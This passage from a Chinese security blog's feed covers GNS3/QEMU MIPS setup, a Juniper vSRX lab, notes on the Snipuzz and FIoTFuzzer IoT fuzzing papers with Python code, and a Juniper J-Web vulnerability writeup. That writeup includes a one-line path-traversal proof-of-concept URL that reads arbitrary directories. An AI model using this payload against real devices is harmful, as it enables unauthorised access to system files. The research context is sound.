Windows</h4><ul><li>%APPDATA%/GNS3/gns3_server.ini</li><li>%APPDATA%/Roaming/GNS3/gns3_server.ini</li><li>%APPDATA%/GNS3.ini</li><li>%COMMON_APPDATA%/GNS3/gns3_server.ini</li><li>%COMMON_APPDATA%/GNS3.ini</li><li>gns3_server.ini in current directory</li></ul><h2 id="qemu-mipsel-相关下载"><a class="markdownIt-Anchor" href="#qemu-mipsel-相关下载"></a> Qemu mipsel 相关下载</h2><p>访问 <code>https://people.debian.org/~aurel32/qemu/</code>,下载 MIPSEL 的系统映像,其中启动对应版本</p><pre class="highlight"><code class="">with the following arguments for a 32-bit machine:  - qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append &quot;root=/dev/sda1 console=tty0&quot;  - qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append &quot;root=/dev/sda1 console=tty0&quot;Start QEMU with the following arguments for a 64-bit machine:  - qemu-system-mips64el -M malta -kernel vmlinux-2.6.32-5-5kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append &quot;root=/dev/sda1 console=tty0&quot;  - qemu-system-mips64el -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append &quot;root=/dev/sda1 console=tty0&quot;</code></pre>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;配置过程&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#配置过程&quot;&gt;&lt;/a&gt; 配置过程&lt;/h2&gt;
&lt;h3 id=&quot;gns3-vm-配置&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#gns3-vm-配置&quot;&gt;&lt;/a&gt; GNS3-vm 配置&lt;/h3&gt;
&lt;p&gt;gns3-vm 服务默认只支持 x86-x64 系列模拟，并不支持其他架构如：arm、mips 等等。&lt;/p&gt;</summary>
    
    
    
    <category term="基础知识" scheme="http://ioo0s.art/categories/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
    
    
    <category term="IOT" scheme="http://ioo0s.art/tags/IOT/"/>
    
  </entry>
  
  <entry>
    <title>juniper-1day-任意目录读</title>
    <link href="http://ioo0s.art/2023/02/24/juniper-1day-%E4%BB%BB%E6%84%8F%E7%9B%AE%E5%BD%95%E8%AF%BB/"/>
    <id>http://ioo0s.art/2023/02/24/juniper-1day-%E4%BB%BB%E6%84%8F%E7%9B%AE%E5%BD%95%E8%AF%BB/</id>
    <published>2023-02-24T12:25:01.000Z</published>
    <updated>2023-02-24T12:31:30.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="测试版本"><a class="markdownIt-Anchor" href="#测试版本"></a> 测试版本</h2><p>junos-vsrx3-x86-64-20.3R1.8.ide.ova</p><span id="more"></span><h2 id="漏洞过程"><a class="markdownIt-Anchor" href="#漏洞过程"></a> 漏洞过程</h2><p>漏洞存在于 <code>html\modules\manage\files\main.php</code> 中</p><pre class="highlight"><code class="">functiondo_manage_files ()&#123;    ......        case MANAGE_FILES_BROWSE:            // Browse (Download and Delete) files            $path = get_val_or_null($_GET, 'path');            漏洞存在于这里,这里只验证了path是否存在，未验证路径是否合法            if (do_manage_files_validate_file($path, null)) &#123;                $sections = do_manage_files_browse($path);                break;            &#125; else &#123;                 $sections = do_manage_files_main();             &#125;            break;    &#125;  .....&#125;</code></pre><p>利用 poc</p><pre class="highlight"><code class="">https://192.168.1.100/manage?m[]=files&amp;action=browse&amp;path=/var/log/../../etc/</code></pre><p><img src="boxcnpZx0PSdeZkzE19ylKJJD3d.png" alt="" /></p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;测试版本&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#测试版本&quot;&gt;&lt;/a&gt; 测试版本&lt;/h2&gt;
&lt;p&gt;junos-vsrx3-x86-64-20.3R1.8.ide.ova&lt;/p&gt;</summary>
    
    
    
    <category term="漏洞挖掘" scheme="http://ioo0s.art/categories/%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98/"/>
    
    
    <category term="IOT" scheme="http://ioo0s.art/tags/IOT/"/>
    
    <category term="Juniper" scheme="http://ioo0s.art/tags/Juniper/"/>
    
  </entry>
  
  <entry>
    <title>juniper-jweb环境搭建</title>
    <link href="http://ioo0s.art/2023/02/23/juniper-jweb%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/"/>
    <id>http://ioo0s.art/2023/02/23/juniper-jweb%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/</id>
    <published>2023-02-23T01:09:04.000Z</published>
    <updated>2023-02-23T01:16:58.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="系统信息"><a class="markdownIt-Anchor" href="#系统信息"></a> 系统信息</h2><p>junos 版本：junos-vsrx3-x86-64-20.3R1.8.ide.ova</p><p>VMware 版本：17.0.0 build-20800274</p><p>Ubuntu 版本：Ubuntu 22.04</p><span id="more"></span><h2 id="初始化配置"><a class="markdownIt-Anchor" href="#初始化配置"></a> 初始化配置</h2><pre class="highlight"><code class="">cliconfigureload factor-default</code></pre><h2 id="账号配置"><a class="markdownIt-Anchor" href="#账号配置"></a> 账号配置</h2><pre class="highlight"><code class="">set system root-authentication plain-text-passwordkaka123set system services ssh root-login allow</code></pre><h2 id="网络配置"><a class="markdownIt-Anchor" href="#网络配置"></a> 网络配置</h2><p>首先需要确保在同一个网络上</p><p><img src="boxcnmSCRb2MTgZPRJ7z6yGUP3g.png" alt="" /></p><p>需要联通的虚拟机，可以自行添加一个虚拟网卡，并指定网络为 vmnet1</p><p><img src="boxcn5SpOApmIEB2edwYDvZOkef.png" alt="" /></p><p>接着需要查看当前 juniper 虚拟机的网卡信息，注意不是所有的网卡都是 ge-xxxxx 这种</p><p><img src="boxcnRemicRBMsUG84wZybP3uHh.png" alt="" /></p><p>可以看到这里有很多网卡，其中搭建好以后会存在一个 em1 的网卡配置，只要将虚拟机配置在同一网段，就可以通过 192.168.1.2 直接 ssh 连接进来。这里我们再配置一块网卡</p><ol><li>确定网卡名称，这里我们就配置 em2</li><li>在 cli 中进行配置</li></ol><pre class="highlight"><code class="">// 配置ipset interface em2 unit 0 family inet address 192.168.1.100/24commitcommit // 两次 commit才能永久保存配置，一次commit 2分钟后会回滚到之前的配置</code></pre><ol start="3"><li>通过 show 命令检查配置是否成功</li></ol><p><img src="boxcnyFQerZLNsMfIoFK5uIMqPc.png" alt="" /></p><p>可以看到成功配置</p><ol start="4"><li>将该 interface 添加到 J-web 的支持中</li></ol><pre class="highlight"><code class="">set system services web-management https interface em2set system services web-management http interface em2</code></pre><ol start="5"><li>通过 show 查看是否成功添加</li></ol><p><img src="boxcnGr5TNZ1neGhKFY1zYO6l1b.png" alt="" /></p><p>可以看到成功添加</p><h2 id="安全区添加"><a class="markdownIt-Anchor" href="#安全区添加"></a> 安全区添加</h2><pre class="highlight"><code class="">set security zones security-zone untrust interfaces em2set security zones security-zone untrust host-inbound-traffic system-services all</code></pre><p>Show 查看是否成功配置</p><h2 id="测试访问"><a class="markdownIt-Anchor" href="#测试访问"></a> 测试访问</h2><p><img src="boxcn9Of45kDvfKfM0Rm27QEOhb.png" alt="" /></p><h2 id="测试登录"><a class="markdownIt-Anchor" href="#测试登录"></a> 测试登录</h2><p><img src="boxcnJjWxYmBBpAZW3lZ5xEBGrd.png" alt="" /></p><h2 id="nat配置"><a class="markdownIt-Anchor" href="#nat配置"></a> NAT配置?</h2><p>与上述方法一直，但是要提前确认好当前NAT网络的网关地址，配置时将网卡设置为NAT，接着手动分配个ip即可</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;系统信息&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#系统信息&quot;&gt;&lt;/a&gt; 系统信息&lt;/h2&gt;
&lt;p&gt;junos 版本：junos-vsrx3-x86-64-20.3R1.8.ide.ova&lt;/p&gt;
&lt;p&gt;VMware 版本：17.0.0 build-20800274&lt;/p&gt;
&lt;p&gt;Ubuntu 版本：Ubuntu 22.04&lt;/p&gt;</summary>
    
    
    
    <category term="基础知识" scheme="http://ioo0s.art/categories/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
    
    
    <category term="IOT" scheme="http://ioo0s.art/tags/IOT/"/>
    
    <category term="Juniper" scheme="http://ioo0s.art/tags/Juniper/"/>
    
  </entry>
  
  <entry>
    <title>FIoTFuzzer</title>
    <link href="http://ioo0s.art/2023/02/22/FIoTFuzzer/"/>
    <id>http://ioo0s.art/2023/02/22/FIoTFuzzer/</id>
    <published>2023-02-22T03:02:51.000Z</published>
    <updated>2023-02-22T03:05:28.000Z</updated>
    
    <content type="html"><![CDATA[<p>该论文是在 Snipuzz 实现的基础上做的改进优化，着重说明了有的节点和处理方法，最终获得了很好的效果。但是论文并没有附加开源项目，本人是基于该理论描述的 fuzz 架构做了具体的实现，开源时间待定。</p><span id="more"></span><h2 id="background"><a class="markdownIt-Anchor" href="#background"></a> BackGround</h2><h3 id="现有-iot-fuzz"><a class="markdownIt-Anchor" href="#现有-iot-fuzz"></a> 现有 Iot-Fuzz</h3><p><img src="boxcnKESoUysydRBCu7W1xhcgWf.png" alt="" /></p><h2 id="本论文工作"><a class="markdownIt-Anchor" href="#本论文工作"></a> 本论文工作</h2><ol><li>改进种子获取方式，除去抓包获取（被动式），增加了对该协议的 API Doc 或其他定义格式文件的读取</li><li>新增协议类型识别，添加网络协议特征（HTTP/ZigBee/等等），识别流量协议。</li><li>新增消息类型识别，对消息内容进行类型识别，主要针对常用协议 JSON、XML 等。</li><li>新增编码类型识别，对消息内容进行编码识别，通过内置的编码库（Base64，urlencode 等）识别，并将解密内容重新进行 2-4 的匹配。</li><li>改进相似性分类算法，增加滤波器（阈值）进行合理的归类</li></ol><h3 id="fiot-架构"><a class="markdownIt-Anchor" href="#fiot-架构"></a> FIOT 架构</h3><p><img src="boxcngFhrxj84dvbtMKdvPOzCBd.png" alt="" /></p><h3 id="消息类型识别算法"><a class="markdownIt-Anchor" href="#消息类型识别算法"></a> 消息类型识别算法</h3><p><img src="boxcnnkLQdaFLGSCjBSV01zXh9b.png" alt="" /></p><p><img src="boxcnqLOphdFFnyRlqxaquEUy3G.png" alt="" /></p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>FloTFuzzer 则针对整个 fuzz 过程进行了拆分优化，弥补了 Snipuzz 的不足，并添加了对协议类型，编码类型，数据类型做了识别处理，使得变异数据能够保持原有的数据格式，减少了变异时间，同时能够增加代码功能的覆盖率。</p><h4 id="实现后的-fuzz-iostfuzzer"><a class="markdownIt-Anchor" href="#实现后的-fuzz-iostfuzzer"></a> 实现后的 fuzz-IOSTFuzzer</h4><p>在 FIOTFuzzer 基础上进行了下述的优化</p><ol><li>新增对该协议的 API Doc 或其他定义格式文件的读取</li><li>新增协议类实现框架，对特定协议可以更细粒度的处理</li></ol><h5 id="待优化"><a class="markdownIt-Anchor" href="#待优化"></a> 待优化</h5><ol><li>实现 FIOTFuzzer 自动化数据包解析转发功能</li><li>改进数据变异算法，提高覆盖率</li><li>改进 sender，提高发包速率</li><li>改进响应相似性识别方式，考虑使用 NLP 代码相似性识别技术</li></ol><p>项目地址：<a href="https://github.com/ioo0s/IOSTFuzzer">https://github.com/ioo0s/IOSTFuzzer</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;该论文是在 Snipuzz 实现的基础上做的改进优化，着重说明了有的节点和处理方法，最终获得了很好的效果。但是论文并没有附加开源项目，本人是基于该理论描述的 fuzz 架构做了具体的实现，开源时间待定。&lt;/p&gt;</summary>
    
    
    
    <category term="论文学习" scheme="http://ioo0s.art/categories/%E8%AE%BA%E6%96%87%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="IOT" scheme="http://ioo0s.art/tags/IOT/"/>
    
    <category term="Fuzz" scheme="http://ioo0s.art/tags/Fuzz/"/>
    
  </entry>
  
  <entry>
    <title>Snipuzz</title>
    <link href="http://ioo0s.art/2023/02/21/Snipuzz/"/>
    <id>http://ioo0s.art/2023/02/21/Snipuzz/</id>
    <published>2023-02-21T01:20:16.000Z</published>
    <updated>2023-02-21T01:32:39.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="background"><a class="markdownIt-Anchor" href="#background"></a> Background</h2><h3 id="iot-通用的通信架构"><a class="markdownIt-Anchor" href="#iot-通用的通信架构"></a> Iot 通用的通信架构</h3><p>为了与设备外的输入进行交互，大多数物联网设备实现了类似的高级通信体系结构（如下图）。主要分为以下几个部分</p><ol><li>Sanitizer</li></ol><p>接收外部的输入后对输入进行过滤（安全检查）、匹配（白名单检查）、解析（找出功能命令和执行内容），如果不满足任意一种情况，则会返回带有错误信息的响应结果（跳转到 Replier 处理），否则将匹配到的功能命令送入下一步。</p><span id="more"></span><ol start="2"><li>Function Switch</li></ol><p>将 Sanitizer 中获取到的指令，进行功能(不单指函数)的匹配。如果成功匹配到对应的功能，则将通过 Sanitizer 中获取到的执行内容发送到下一步进行处理，否则返回带有错误信息的响应结果（跳转到 Replier 处理）。</p><ol start="3"><li>Function Definitions</li></ol><p>此部分主要是对具体功能的实现，根据 <code>Function Switch</code> 选择调用的功能，对输入进行具体的执行，并将结果返回到响应信息中（跳转到 Replier 处理）</p><ol start="4"><li>Replier</li></ol><p>具体实现了一个响应功能，统一处理在整个通信过程中的响应信息转换，最终反馈到输入设备中。</p><p><img src="boxcnD7qcJ92dJtYDOAa8Etppp5.png" alt="" /></p><h2 id="implement"><a class="markdownIt-Anchor" href="#implement"></a> Implement</h2><h3 id="response-based-feedback-mechanism"><a class="markdownIt-Anchor" href="#response-based-feedback-mechanism"></a> Response-Based Feedback Mechanism</h3><p>基于响应的反馈机制，传统的黑盒 Fuzz 测试总是需要对 Binary 进行 Patch 实现反馈，或者像 AFL++ 利用 qemu 实现反馈。传统的黑盒 Fuzz 在对 Iot 设备测试时会遇到无法提取固件或者环境依赖过于庞大（例如像 Lina）使用 qemu 模式进行 Fuzz 的成本太大，Patch 固件更复杂的情况。此时传统的方法就不太适用于 Iot 设备上进行 Fuzz 测试。</p><p>Snipuzz 使用响应消息建立新的反馈机制。 Snipuzz 会收集每一个响应，当找到新的响应时，该响应对应的输入将作为种子排队，用于后续的变异测试</p><h3 id="message-snippet-inference"><a class="markdownIt-Anchor" href="#message-snippet-inference"></a> Message Snippet Inference</h3><p>消息片段推断，传统的变异方法（字节翻转、字节添加、字节突变等）不太适用于 IOT 设备的 Fuzz 测试中。在 Iot 设备中，通常有较为严格输入规范，也会采用一些格式进行规范，例如 JSON、SOAP、键值对等，传统的变异方式可能会破坏这些格式规范，导致不能有效的提高路径覆盖率。</p><p>根据下表，如果我们逐字节地改变有效消息（即破坏格式），将得到许多不同的响应。 有效消息中两个不同位置的变异，如果收到相同的响应，则这两个位置很可能出自固件中的同一个功能中。 因此，可以将具有相同响应的那些连续字节合并为一个片段。同时也可以在片段中进行变异，这样可以极大的提高变异覆盖率。</p><h2 id="methodology"><a class="markdownIt-Anchor" href="#methodology"></a> Methodology</h2><h3 id="message-sequence-acquisition"><a class="markdownIt-Anchor" href="#message-sequence-acquisition"></a> Message Sequence Acquisition</h3><p>消息序列的获取，通过设备的 API 文档、或者对设备进行功能性的抓包获得，例如，可以在设备登陆后，开启抓包工具，用户与设备进行交互得到一些功能性的数据包。</p><h3 id="snippet-determination"><a class="markdownIt-Anchor" href="#snippet-determination"></a> Snippet Determination</h3><h5 id="核心思想"><a class="markdownIt-Anchor" href="#核心思想"></a> 核心思想</h5><p><strong>消息片段分类</strong>：利用启发式搜索和层次聚类的方式</p><p>Snipuzz 利用启发式算法和层次聚类方法来确定每条消息中的片段。消息片段的本质是消息中的连续字节，使固件能够执行特定的代码段。使用自动化的方式来识别消息中每个字节的含义。</p><p>使用启发式算法，对每一个 Request 粗略的划分初始片段。通过删除 Request Body 部分（测试中的 content）中的某个字节，生成一个新的消息，称为探测消息。对每个探测消息的响应进行归类，同时将初步划分的某个字节合并为同一种触发类型。</p><p><img src="boxcn3qynjs1BLiVSgBrRwb0PUh.png" alt="" /></p><p>如图中，将相同响应结果的请求 message 划分为一种类型。</p><h4 id="如何归类"><a class="markdownIt-Anchor" href="#如何归类"></a> 如何归类</h4><p>本文使用了 <code>Edit Dis-tance</code> 编辑距离作为计算方式，计算出两个响应结果间的相似度，通过比较响应池中的每一个响应与当前目标响应的相似度，与曾经放入响应池时的相似度进行比较，分数低于时确定为不同响应则放入新的响应到响应池中，并记录此时的分数，否则进行下一轮比较，以此为归类方式。</p><p><img src="boxcnsZR826mlkwA5nrOADvzHQb.png" alt="" /></p><p>其中 rk、rt 为两个响应，max_len 为最大长度计算公式</p><h5 id="编辑距离代码"><a class="markdownIt-Anchor" href="#编辑距离代码"></a> 编辑距离代码</h5><pre class="highlight"><code class="">def EditDistanceRecursive(str1, str2):    edit = [[i + j for j in range(len(str2) + 1)] for i in range(len(str1) + 1)]    for i in range(1, len(str1) + 1):        for j in range(1, len(str2) + 1):            if str1[i - 1] == str2[j - 1]:                d = 0            else:                d = 1            edit[i][j] = min(edit[i - 1][j] + 1, edit[i][j - 1] + 1, edit[i - 1][j - 1] + d)    return edit[len(str1)][len(str2)]</code></pre><h5 id="相似度计算代码"><a class="markdownIt-Anchor" href="#相似度计算代码"></a> 相似度计算代码</h5><pre class="highlight"><code class="">def SimilarityScore(str1, str2):    ED = EditDistanceRecursive(str1, str2)    return round((1 - (ED / max(len(str1), len(str2)))) * 100, 2)</code></pre><h5 id="归类实现代码"><a class="markdownIt-Anchor" href="#归类实现代码"></a> 归类实现代码</h5><pre class="highlight"><code class="">response1 = m.ProbeSend(Seed, index)  # send the probe message   #######time.sleep(1)response2 = m.ProbeSend(Seed, index)  # send the probe message twiceprint(response1, end=&quot;&quot;)if responsePool:    flag = True    for j in range(0, len(responsePool)):        target = responsePool[j]        score = similarityScore[j]        # c = 计算当前请求的响应与响应池中的每一个响应的相似度        c = SimilarityScore(target.strip(), response1.strip())         # 如果相似分数大于之前目标的分数则记录当前的index，并且继续循环        if c &gt;= score:             flag = False            probeResponseIndex.append(j)            print(str(j) + &quot; &quot;, end=&quot;&quot;)            sys.stdout.flush()            break    # 如果当前相似度得分小于之前目标的分数，则把当前不同的响应结果放入响应池，同时记录分数    if flag:        # 放入响应池        responsePool.append(response1)        # 记录此时的相似度并添加到分数池中        similarityScore.append(            SimilarityScore(response1.strip(), response2.strip())        )        probeResponseIndex.append(j + 1)        # print(j + 1)  # test only</code></pre><h4 id="hierarchical-clustering"><a class="markdownIt-Anchor" href="#hierarchical-clustering"></a> Hierarchical Clustering</h4><p>层次聚类，当出现当前响应池中响应的相似性分数为 1，当前目标响应与目标响应的相似性分数为 0.99 时，也满足上述的归类标准，会被放入到进程池中。但事实上这两种响是同一类响应，为了解决该问题，本文引入了层次聚类算法来细化消息片段。</p><p>层次聚类的核心思想是不断合并最相似的两个簇，直到只剩下一个簇。</p><p>层次聚类算法将数据集划分为一层一层的 clusters，后面一层生成的 clusters 基于前面一层的结果</p><p>本文采用欧氏距离作为样本间的距离</p><p>合并规则：簇间的距离最小时合并</p><p>合并停止条件：簇的个数为 1 时,停止合并</p><h5 id="聚合聚类算法流程"><a class="markdownIt-Anchor" href="#聚合聚类算法流程"></a> 聚合聚类算法流程：</h5><p>输入: n 个样本组成的样本集合及样本之间的距离</p><p>输 出 : 对样本集合的层次化聚类</p><ol><li>计算 n 个样本中两两之间的欧氏距离</li><li>构造 n 个簇，每个簇只包含一个样本</li><li>合井簇间距离最小的两个簇，其中最短距离为簇间距离，构建一个新簇</li><li>计算新簇与当前各簇的距离。若簇的个数为 1，终止计算，否则回到步骤 3</li></ol><h5 id="欧式距离计算公式"><a class="markdownIt-Anchor" href="#欧式距离计算公式"></a> 欧式距离计算公式：</h5><p class='katex-block'><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mn>0</mn><mi>ρ</mi><mo>=</mo><mi>s</mi><mi>q</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mo stretchy="false">(</mo><mi>x</mi><mn>1</mn><mo>−</mo><mi>x</mi><mn>2</mn><msup><mo stretchy="false">)</mo><mn>2</mn></msup><mo>+</mo><mo stretchy="false">(</mo><mi>y</mi><mn>1</mn><mo>−</mo><mi>y</mi><mn>2</mn><msup><mo stretchy="false">)</mo><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">0ρ = sqrt( (x1-x2)^2+(y1-y2)^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord">0</span><span class="mord mathnormal">ρ</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">s</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mord mathnormal">x</span><span class="mord">2</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord">2</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></span></p><p>例如：输入向量[ [“{&quot;”,1],[“o”, 2],[“n”, “3”],[“&quot;:true}”, 1] ]，通过 <code>hierarchy.linkage(input_vec, method=&quot;average&quot;, metric=&quot;euclidean&quot;)</code> 实现聚类，首先会将 字符 <code>o</code> 与字符 <code>n</code> 进行聚类（因为字符 o 与 n 的距离最近 ），得到了此时的簇为[ [“{&quot;”,1],[“on”, 4],[“&quot;:true}”, 1] ],接着继续合并，最终得到一个簇，结果为 [“{&quot;on&quot;:true}”, 5]</p><h5 id="例图"><a class="markdownIt-Anchor" href="#例图"></a> 例图</h5><p><img src="boxcnFQviQPgzcPPSOBp2D7UN9b.png" alt="" /></p><h5 id="算法伪代码"><a class="markdownIt-Anchor" href="#算法伪代码"></a> 算法伪代码</h5><p><img src="boxcnWUUU3XEBukrDKJ9eAKopRg.png" alt="" /></p><h3 id="mutation-schemes"><a class="markdownIt-Anchor" href="#mutation-schemes"></a> Mutation Schemes</h3><p>突变的核心思想：以消息片段为基本单位，对消息片内部段进行 <code>字节翻转</code>、<code>清空</code>、<code>数据类型及边界替换</code> 、<code>字典替换</code>、<code>消息重复</code> 的操作。</p><h4 id="片段变异代码"><a class="markdownIt-Anchor" href="#片段变异代码"></a> 片段变异代码</h4><h5 id="获取片段代码"><a class="markdownIt-Anchor" href="#获取片段代码"></a> 获取片段代码</h5><pre class="highlight"><code class=""># 检测片段边界，以及类型def formSnippets(pi, cluster, index):    snippet = []    for i in range(index):        c1 = int(cluster[i][0]) #当前簇        c2 = int(cluster[i][1]) #当前簇        p = int(cluster[i][3])  #合并后新簇的样本个数        for j in range(len(pi)):            if pi[j] == c1 or pi[j] == c2:                pi[j] = p    i = 0    while i &lt; len(pi) - 1:        j = i        # print(&quot;i=&quot;+str(i)) # test only        skip = True        while j &lt;= len(pi) and skip:            j = j + 1            # print(&quot;j=&quot; + str(j))  # test only            if pi[j] != pi[i]:                snippet.append([i, j - 1])                skip = False            if j == len(pi) - 1:                snippet.append([i, j])                skip = False        i = j    # print(pi)  # test only    # print(snippet)   # test only    return snippet</code></pre><h5 id="片段变异完整代码"><a class="markdownIt-Anchor" href="#片段变异完整代码"></a> 片段变异完整代码</h5><pre class="highlight"><code class="">def SnippetMutate(seed, restoreSeed):    # 初始化一个消息交互类    m = Messenger(restoreSeed)    循环所有的消息    for i in range(len(seed.M)):        # 响应池        pool = seed.PR[i]        # 响应对应表        poolIndex = seed.PI[i]        # 相似度分数表        similarityScores = seed.PS[i]                # 将响应与分数对应        featureList = []        for j in range(len(pool)):            featureList.append(getFeature(pool[j].strip(), similarityScores[j]))                # 初始化一个二维的panda的数据向量        df = pd.DataFrame(featureList)        # 层次聚类，UPGMA算法（非加权组平均）法，欧几里得距离        cluster = hierarchy.linkage(df, method=&quot;average&quot;, metric=&quot;euclidean&quot;)        # print(&quot;Cluster:&quot;)        # print(cluster)        # seed.display()        # 添加到簇列表        seed.ClusterList.append(cluster)        mutatedSnippet = []        for index in range(len(cluster)):            # 根据聚类得到的新簇（包含最终的字符）            snippetsList = formSnippets(poolIndex, cluster, index)            for snippet in snippetsList:                # 判断处理后的字符串是否在突变字符串中                if snippet not in mutatedSnippet:                    mutatedSnippet.append(snippet)                    tempMessage = seed.M[i].raw[&quot;Content&quot;]                    # ========  BitFlip ========                    print(&quot;--BitFlip&quot;)                    message = seed.M[i].raw[&quot;Content&quot;]                    asc = &quot;&quot;                    for o in range(snippet[0], snippet[1]):                        # print(255-ord(message[o]))                        asc = asc + (chr(255 - ord(message[o])))                    # message[o] = chr(255-ord(chr(message[o])))                    message = message[: snippet[0]] + asc + message[snippet[1] + 1:]                    seed.M[i].raw[&quot;Content&quot;] = message                    responseHandle(seed, m.SnippetMutationSend(seed, i))                    seed.M[i].raw[&quot;Content&quot;] = tempMessage                    # ========  Empty ========                    print(&quot;--Empty&quot;)                    message = seed.M[i].raw[&quot;Content&quot;]                    message = message[: snippet[0]] + message[snippet[1] + 1:]                    seed.M[i].raw[&quot;Content&quot;] = message                    responseHandle(seed, m.SnippetMutationSend(seed, i))                    seed.M[i].raw[&quot;Content&quot;] = tempMessage                    # ========  Repeat ========                    print(&quot;--Repeat&quot;)                    message = seed.M[i].raw[&quot;Content&quot;]                    t = random.randint(2, 5)                    message = (                            message[: snippet[0]]                            + message[snippet[0]: snippet[1]] * t                            + message[snippet[1] + 1:]                    )                    seed.M[i].raw[&quot;Content&quot;] = message                    responseHandle(seed, m.SnippetMutationSend(seed, i))                    seed.M[i].raw[&quot;Content&quot;] = tempMessage                    # ========  Interesting ========                    print(&quot;--Interesting&quot;)                    interestingString = [&quot;on&quot;, &quot;off&quot;, &quot;True&quot;, &quot;False&quot;, &quot;0&quot;, &quot;1&quot;]                    for t in interestingString:                        message = seed.M[i].raw[&quot;Content&quot;]                        message = message[: snippet[0]] + t + message[snippet[1] + 1:]                        seed.M[i].raw[&quot;Content&quot;] = message                        responseHandle(seed, m.SnippetMutationSend(seed, i))                        seed.M[i].raw[&quot;Content&quot;] = tempMessage        seed.Snippet.append(mutatedSnippet)    return 0</code></pre><h2 id=""><a class="markdownIt-Anchor" href="#"></a> </h2><h2 id="summary"><a class="markdownIt-Anchor" href="#summary"></a> Summary</h2><p>Snipuzz 通过启发式搜索、相似度计算、层次聚类的方式实现功能的广度覆盖，但仍然存在一定的不足， 没有对不同类型的协议进行针对性的处理，相似度计算法也不够优秀，变异方式过于单一等。</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;background&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#background&quot;&gt;&lt;/a&gt; Background&lt;/h2&gt;
&lt;h3 id=&quot;iot-通用的通信架构&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#iot-通用的通信架构&quot;&gt;&lt;/a&gt; Iot 通用的通信架构&lt;/h3&gt;
&lt;p&gt;为了与设备外的输入进行交互，大多数物联网设备实现了类似的高级通信体系结构（如下图）。主要分为以下几个部分&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Sanitizer&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;接收外部的输入后对输入进行过滤（安全检查）、匹配（白名单检查）、解析（找出功能命令和执行内容），如果不满足任意一种情况，则会返回带有错误信息的响应结果（跳转到 Replier 处理），否则将匹配到的功能命令送入下一步。&lt;/p&gt;</summary>
    
    
    
    <category term="论文学习" scheme="http://ioo0s.art/categories/%E8%AE%BA%E6%96%87%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="IOT" scheme="http://ioo0s.art/tags/IOT/"/>
    
    <category term="Fuzz" scheme="http://ioo0s.art/tags/Fuzz/"/>
    
  </entry>
  
  <entry>
    <title>RT-AX55环境搭建</title>
    <link href="http://ioo0s.art/2023/02/20/RT-AX55%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/"/>
